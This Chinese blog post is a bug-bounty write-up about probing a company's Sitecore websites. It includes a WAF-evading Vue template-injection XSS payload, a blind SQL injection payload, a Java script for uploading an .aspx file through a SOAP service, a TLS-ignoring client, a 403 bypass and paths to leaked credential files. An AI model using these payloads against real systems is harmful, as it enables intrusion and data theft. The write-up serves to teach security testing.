实战SRC漏洞挖掘全过程，流程详细【网络安全】

作者: 顶峰相见8号 | 来源:发表于2023-04-02 15:17 被阅读0次

前言

记录一次完整的某SRC漏洞挖掘实战，为期一个多星期。文章有点长，请耐心看完，记录了完整的SRC漏洞挖掘实战

渗透过程

因为选择的幸运儿没有对测试范围进行规划，所以此次范围就是没有范围。

先上主域名看一眼，看看能收集到什么有效信息：

image.png

发现存在搜索框：

image.png

测试点＋1

对页面点点点没发现什么有用的页面。

抓包看看，发现网站搭建了CDN，还有特殊文件：

image.png

难度+1，信息+1

谷歌一下，Sitecore是CMS，如果能确定这个CMS的版本就变成了白盒审计，但是尝试了一下无法确定版本只能用网上公开的CMS漏洞来测试。

简书大礼包：《黑客&网络安全入门&进阶学习资源包》免费分享

网上只找到一个CVE-2021-42237（Sitecore XP远程代码执行漏洞），找个POC试试：

image.png

找了半天也只找到这几个，可能是因为这个CMS相对来说使用人数较少或者是写的好本身就没漏洞的原因。

用其中一个进行测试：

image.png

POC利用失败，提示连接出错。对POC代码分析：

发现请求的POC地址为：

1679961808_64222ed01f7f2e8ca818c.png

手工请求URL地址后发现，被服务器拒绝访问了，对方做了敏感地址限制访问：

image.png

搜索CMS信息得知 /Sitecore 为 Sitecore CMS的后台地址目录，那就变得合理了起来，后续可以尝试绕过限制访问。

测试点+1。

对其进行端口扫描，看有什么暴露在外的服务。可以使用nmap也可以使用其他手段，但是本人对于端口扫描更倾向于使用nmap。

对收集到的端口一一访问，只有443端口能访问，此网站搭建了MySQL服务，1723端口搭建了内部人员使用的VPN服务，但是无法访问，其他的端口同样如此。

image.png

利用网上公开的平台扫描一下：

1679962254_6422308e6a4c0d87ac92f.png

对前面收集的信息确认了一下，多了几个测试点。

对此域名的简单信息收集完成了，看看都有些什么漏洞，可以对漏洞点小测一下：

1679962274_642230a2124895cfadc05.png

可以看到网站并没有对特殊符号进行过滤，那这个地方就可能存在SQL或者XSS注入

image.png

查看页面源代码发现此处的语句貌似很不安全，可能没有做转译。

1679962375_64223107390d18f364709.png

测试发现存在WAF，这里可以尝试WAF绕过，但是暂时先不绕过了，渗透测试刚开始就挑硬柿子捏可能会导致开局不利

那就到网上看看收集到的插件可能会存在什么漏洞，搜来搜去只有发现Vue框架有一个可能有用的模板注入漏洞：

image.png

但可惜 Vue 是前端框架，Vue 的漏洞影响注定不会太大。通常 Vue.js 数据是通过双大括号{{}}或者v-text指令进行的数据绑定。Vue.js会自动将对应的模版编译成 JS 代码。但是它的源代码是没有对输入的数据进行过滤的。使用公开POC进行测试：

果不其然，被WAF拦截了

1679962477_6422316d312769617258f.png

换种方法测试，同样行不通：

1679962483_642231738280fea3ed6f3.png

访问robots.txt可能会有额外的收获：

1679962502_64223186a2a3ab2d547d7.png

确定CMS为Sitecore，访问 /api 是403，访问Sitemap：

image.png

继续跳转：

image.png

是开发网站时的XML配置文件，算是信息泄露，不过没什么危害。

还可以试试403byass，具体绕过过程就不在这里演示了，通过X-Rewrite-URL覆盖路径实现了绕过：

1679962641_6422321153f23d4548172.png

但是上页面发现，绕过了，但并没有完全绕过，还是被重定向到主页面了。

那就收集旁站和子域名，可以使用工具像Layer，也可以用黑暗引擎像FOFA，SHODAN，笔者这里就用了FOFA收集：

1679962653_6422321d02d7386d6a7c4.png

俗话说的好一根烟，一杯酒，一个网站测一天。收集了一天，同时也测了一天，用了各种漏扫工具，扫着扫着就被封IP了。延时也好挂代理也好，漏扫工具终究有的漏洞点是扫不到的，况且只会用漏扫工具，那我不还是会点鼠标的猴子，为了成功吃到此次的西瓜，无奈只好大部分采用手工测试。

image.png

当然一天不可能什么收获都没有，因为这次测试的公司是个大规模公司（人家行业的领头羊呢），所以他们的暴露面就会相对来说广了许多：

收集到了几个相对来说较为有用的站点：

这几个站点很有意思，用的是同一套CMS，内容一样，功能一样，没区别。可能是当时搭建网站的时候使用的测试页面。

还有一个网站标题为项目管理网站，但是点开却什么功能都没有，后台扫描，上漏扫工具也什么都没扫到（这不纯纯诈骗吗）。

1679962750_6422327e5573ea92b412d.png

但是这是时候发现了一个站点开是空白，什么显示都没有，一般来说，这种空白的站可能会有意想不到的收获，因为可能是开发者遗漏掉的站

1679962749_6422327d6096aad6d0e83.png

用后台扫描工具扫一下，还真扫出了两个文件：

image.png

访问一下

1679962873_642232f9ab6255b0ee4a2.png

网站的开发文件泄露了，我们得到了网站插件的具体版本

另一个是一张GIF图：

1679962880_64223300a0d5f14ef50be.png

页面并没有什么特别的地方，右键查看网页源代码看看，开发者ID值泄露了：

1679962891_6422330b3ec7e1b7de8bf.png

但是发现的这两个漏洞并没有什么实质性的作用，后期可能会配合其他的漏洞加以利用。实战情况下就是这么让人头大

那么就对先前发现的同模板网站进行测试，同样使用Vue的模板注入漏洞的POC：

1679962921_642233294fe399fd36fc2.png

页面输出了乘法运算的结果，进一步验证确定存在Vue模板注入漏洞，成功弹窗：

1679962930_642233329580cfc57e55a.png

经过验证后其他两个网站也存在这个漏洞，能发现存在这个漏洞还是因为这些测试网站并没有搭建WAF，可能是开发者遗漏下的站点。所以说，柿子要挑软的捏，总不能说一开始就对一个布下重重防御的堡垒去测试，那样有可能浪费了很长时间都没有半点收获。

那么我们现在能知道主域名上也肯定存在这个漏洞，需要做的就是WAF绕过。对与如何绕过网上都有教程，这里就不在过多赘述，这是最终结果：

Payload：{{constructor.constructor%0a(%27\u0061\u006c\u0065\u0072\u00741%27)()}}

1679962966_642233565efadf2ef5fce.png

成功吃到西瓜，但是这个漏洞本质上还只是一个XSS，费了我这么长时间总不能就吃个小吧？

继续对域名进行收集测试，期间收集到一些各种各样的网站后台，都只是简单的测试了一下有没有SQL和逻辑漏洞，一直没有什么实质性的收获。真是碰上了一块硬骨头，这些网站都有人员维护，不光有WAF，而且该修的漏洞基本上都修了，就连OpenSSH1.1.1都升级到了1.1.1.c ，我都想换个SRC重新测了。

终于，在一个星期后的一天继续信息收集时，在FOFA上发现了一个 Service Web Service 接口

1679962987_6422336b4714acd64d630.png

点开了其中一个发现给出了接口的调用代码，而且还有文件上传，XML上传的接口：

1679963001_642233794ec9ce2114185.png

调用接口试试：

1679963074_642233c2eb8e32d381e73.png

接口调用失败，又试了很多次，还是失败，换安全的文件、后缀、00截断都没有成功，因为不确定具体是因为什么原因所以写了个java脚本测试一下具体是什么原因：

import java.io.*;
import java.net.*;

public class FileUploader {
public static void main(String[] args) throws Exception {
String url = "http://target.com/Service.asmx";
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();

// 设置请求方法和请求头
con.setRequestMethod("POST");
con.setRequestProperty("Content-Type", "text/xml; charset=utf-8");
con.setRequestProperty("SOAPAction", "http://tempuri.org/UploadFile");

// 构造SOAP消息体
String fs = ""; // TODO: 将文件内容转换为base64编码字符串
String path = "test.aspx";
String fileName = "test.aspx";
String soapXml =
"<soap:Envelope xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' " +
"xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' " +
"xmlns:xsd='http://www.w3.org/2001/XMLSchema'>" +
"<soap:Body>" +
"<UploadFile xmlns='http://tempuri.org/'>" +
"<fs>" + fs + "</fs>" +
"<path>" + path + "</path>" +
"<fileName>" + fileName + "</fileName>" +
"</UploadFile>" +
"</soap:Body>" +
"</soap:Envelope>";

// 发送SOAP消息体
con.setDoOutput(true);
OutputStream os = con.getOutputStream();
os.write(soapXml.getBytes());

// 读取响应
int responseCode = con.getResponseCode();
System.out.println("Response Code : " + responseCode);

BufferedReader in = new BufferedReader(
new InputStreamReader(con.getInputStream()));
String inputLine;
StringBuffer response = new StringBuffer();

while ((inputLine = in.readLine()) != null) {
response.append(inputLine);
}
in.close();

// 打印响应
System.out.println(response.toString());
}
}

程序提示对方服务器积极拒绝连接，说明管理员对调用文件上传接口IP做了限制（可真是块硬骨头），XML上传也同样是如此

无奈只能换个方向，用后台扫描工具扫一下，还真扫出了大量敏感文件：

image.png

因为帽子叔叔 + 这些数据真的是特别敏感的原因，就不方便展示了，只能说一下大概：

target.com/log/                          存放服务器日志文件
target.com/data/                        存放数据库文件
target.com/data/Setting.xml      包含数据库用户名，密码，IP地址
target.com/old/                          包含了服务器名称，密码
target.com/trace.axd                  包含了服务器搭载的应用程序代码
target.com/update/                    存放系统内部文件，应用程序，dll
target.com/update/Setting.xml  服务名，IP，计算机名，密码和内部IP地址

这颗西瓜甜，但当时渗透测试进展到这个地步时，已经花费了一个星期的时间，所以笔者并不是很满意。所以就再对剩下的接口一一测式。其中一个接口是用来盘点商品信息的：

1679963104_642233e0e40669fb0688b.png

配合文件泄露漏洞，构造数据包，然后对其进行测试：

1679963114_642233ea6c3a1a20495b6.png

在 whcode 参数处输入商品货号，返回包中StocktakingStartResult 参数返回值为0

1679963121_642233f1a16d7d4512a55.png

而随便输入一个不存在的数据，返回包中StocktakingStartResult 参数返回值为-1，由此可知接口调用成功返回值为0，失败为-1：

1679963144_64223408d11bf2179a860.png

进一步构造判断语句，查看是否存在SQL注入漏洞：

验证：-1' OR 1=1 ==> true 返回值为0

1679963166_6422341ebfb31713b46e7.png

验证：-1' OR 3+220-220-1=0+0+0+1 ==> false 返回值为-1

1679963169_64223421d687a26a01bfc.png

验证：-1' OR 3*2=6 AND 000220=000220 ==> true 返回值为0

1679963182_6422342e64f4ed3613774.png

所以在参数whcode处一定存在SQL注入漏洞

判断完后就开始对其进行SQL注入：

1679963190_642234361f32efc9378fa.png

发现竟然报错了，一开始笔者以为是语句构造错了，又换了几种语句无果后，想看看调用接口的回显是什么，问题出在哪里，所以就写了个脚本帮助判断

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.net.HttpURLConnection;
import java.net.URL;
public class asmx {
public static void main(String[] args) throws Exception {
// 设置请求参数
String url = "https://target.com/";
String soapAction = "http://tempuri.org/StocktakingStart";
String payload = "<?xml version=\"1.0\"?><soap12:Envelope xmlns:soap12=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:tns=\"http://tempuri.org/\"><soap12:Header /><soap12:Body><tns:StocktakingStart><tns:user>tsSLAueP</tns:user><tns:whcode>1</tns:whcode><tns:PDtype>1</tns:PDtype><tns:UNITCODE>94102</tns:UNITCODE><tns:BRANDCODE>94102</tns:BRANDCODE></tns:StocktakingStart></soap12:Body></soap12:Envelope>";
// 创建连接
URL requestUrl = new URL(url);
HttpURLConnection connection = (HttpURLConnection) requestUrl.openConnection();

// 忽略SSL证书验证
javax.net.ssl.HttpsURLConnection.setDefaultHostnameVerifier(
(hostname, sslSession) -> true);
trustAllHttpsCertificates();

// 设置请求方法和头部
connection.setRequestMethod("POST");
connection.setRequestProperty("SOAPAction", soapAction);
connection.setRequestProperty("Content-Type", "text/xml;charset=UTF-8");
connection.setDoOutput(true);

// 发送请求
OutputStreamWriter writer = new OutputStreamWriter(connection.getOutputStream(), "UTF-8");
writer.write(payload);
writer.flush();
writer.close();

// 接收回显
BufferedReader reader = new BufferedReader(new InputStreamReader(connection.getInputStream()));
StringBuilder responseBuilder = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
responseBuilder.append(line);
}
String response = responseBuilder.toString();
reader.close();

// 输出回显
System.out.println(response);
}

// 忽略SSL证书验证所需的方法
private static void trustAllHttpsCertificates() throws Exception {
javax.net.ssl.TrustManager[] trustAllCerts = new javax.net.ssl.TrustManager[1];
javax.net.ssl.TrustManager tm = new miTM();
trustAllCerts[0] = tm;
javax.net.ssl.SSLContext sc = javax.net.ssl.SSLContext.getInstance("SSL");
sc.init(null, trustAllCerts, null);
javax.net.ssl.HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
}

// 忽略SSL证书验证所需的类
static class miTM implements javax.net.ssl.TrustManager,
javax.net.ssl.X509TrustManager {
public java.security.cert.X509Certificate[] getAcceptedIssuers() {
return null;
}

public boolean isServerTrusted(
java.security.cert.X509Certificate[] certs) {
return true;
}
public boolean isClientTrusted(
java.security.cert.X509Certificate[] certs) {
return true;
}
public void checkServerTrusted(
java.security.cert.X509Certificate[] certs, String authType)
throws java.security.cert.CertificateException {
return;
}
public void checkClientTrusted(
java.security.cert.X509Certificate[] certs, String authType)
throws java.security.cert.CertificateException {
return;
}
}
}

但是我惊奇的发现，没有回显，只有数据包，回显都在数据包里了，那这就不好办了，只能另寻思路。

在我绞劲脑汁，冥思苦想了一天多后，我想到了既然没有回显，那么就把语句全构造为判断句：

Payload：-1' OR ASCII(SUBSTRC((SELECT NVL(CAST(user AS VARCHAR(4000)),CHR(32)) FROM aaaa),1,1))&gt;0 AND 000360=000360 --

这段代码是用ASCII码的大小来判断用户名密码，假设：用户名第一位的ASCII码为66，如果在判断过程中，66>67，那么后半段值就为假，反之则为真。这样就可以判断出数据库用户名和密码了，因为我先前已经通过信息泄露漏洞得知了数据库的用户名和密码所以就直接对用户名密码进行了验证，结果是相同的。

终于是不负有心人，耗费了笔者一个多星期，终于是吃到了大西瓜。有了SQL注入漏洞，后续就不用我多说了。当然，要挖掘SRC要注意分寸，不然会有帽子叔叔来找你的。

总结：

一句话，柿子要挑软的捏。渗透测试思路最重要，每个人在做渗透测试时的思路都不同，有思路有想法才能进行下去。

实战SRC漏洞挖掘全过程，流程详细【网络安全】

前言

渗透过程

总结：

相关文章

网友评论

延伸阅读

深度阅读

栏目导航

热点阅读